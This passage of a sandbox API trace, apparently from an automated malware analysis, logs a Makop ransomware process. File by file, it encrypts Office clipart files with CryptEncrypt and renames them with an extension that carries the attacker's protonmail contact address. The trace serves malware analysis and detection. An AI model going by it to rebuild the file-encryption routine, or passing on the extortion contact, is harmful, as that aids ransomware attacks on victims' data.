(in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.566] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.566] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.566] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.567] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.567] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.567] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.567] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b0e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b0e, lpOverlapped=0x0) returned 1 [0135.569] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b10, dwBufLen=0x2b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2b10) returned 1 [0135.569] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.569] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2b10, lpOverlapped=0x0) returned 1 [0135.569] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.569] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.569] SetEndOfFile (hFile=0xf0) returned 1 [0135.575] GetProcessHeap () returned 0x48a0000 [0135.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.575] GetProcessHeap () returned 0x48a0000 [0135.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.575] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.576] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.578] CloseHandle (hObject=0xf0) returned 1 [0135.578] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab7300, ftCreationTime.dwHighDateTime=0x1bf4a6c, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ab7300, ftLastWriteTime.dwHighDateTime=0x1bf4a6c, nFileSizeHigh=0x0, nFileSizeLow=0x2ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301052.WMF", cAlternateFileName="")) returned 1 [0135.578] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF") returned 63 [0135.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.580] GetProcessHeap () returned 0x48a0000 [0135.580] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.580] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.580] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.581] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.584] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.585] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.585] GetProcessHeap () returned 0x48a0000 [0135.585] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.585] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.585] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.585] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.585] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.586] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.586] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.586] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.586] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.586] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.586] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ae8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ae8, lpOverlapped=0x0) returned 1 [0135.588] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2af0, dwBufLen=0x2af0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2af0) returned 1 [0135.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.588] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2af0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2af0, lpOverlapped=0x0) returned 1 [0135.588] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.588] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.588] SetEndOfFile (hFile=0xf0) returned 1 [0135.611] GetProcessHeap () returned 0x48a0000 [0135.611] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.611] GetProcessHeap () returned 0x48a0000 [0135.611] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.611] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.612] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.613] CloseHandle (hObject=0xf0) returned 1 [0135.613] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301418.WMF", cAlternateFileName="")) returned 1 [0135.614] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF") returned 63 [0135.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.616] GetProcessHeap () returned 0x48a0000 [0135.616] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.616] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.616] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.617] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0135.621] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.621] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.622] GetProcessHeap () returned 0x48a0000 [0135.622] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.622] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.622] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.623] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.623] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.623] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.624] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4a5a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4a5a, lpOverlapped=0x0) returned 1 [0135.628] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a60, dwBufLen=0x4a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4a60) returned 1 [0135.628] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.628] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4a60, lpOverlapped=0x0) returned 1 [0135.629] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.629] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.629] SetEndOfFile (hFile=0xf0) returned 1 [0135.636] GetProcessHeap () returned 0x48a0000 [0135.636] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.636] GetProcessHeap () returned 0x48a0000 [0135.636] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.636] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.636] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.638] CloseHandle (hObject=0xf0) returned 1 [0135.638] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1 [0135.638] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF") returned 63 [0135.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.639] GetProcessHeap () returned 0x48a0000 [0135.639] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.640] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.640] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.640] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0135.644] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.644] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.644] GetProcessHeap () returned 0x48a0000 [0135.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.644] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.644] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.644] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.644] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.645] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.645] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.645] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.645] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.645] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.646] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4dfa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4dfa, lpOverlapped=0x0) returned 1 [0135.647] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e00, dwBufLen=0x4e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e00) returned 1 [0135.647] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e00, lpOverlapped=0x0) returned 1 [0135.648] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.648] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.648] SetEndOfFile (hFile=0xf0) returned 1 [0135.656] GetProcessHeap () returned 0x48a0000 [0135.656] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.656] GetProcessHeap () returned 0x48a0000 [0135.656] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.656] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.658] CloseHandle (hObject=0xf0) returned 1 [0135.658] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0135.658] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF") returned 63 [0135.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.659] GetProcessHeap () returned 0x48a0000 [0135.659] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.659] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.659] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.659] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.659] GetProcessHeap () returned 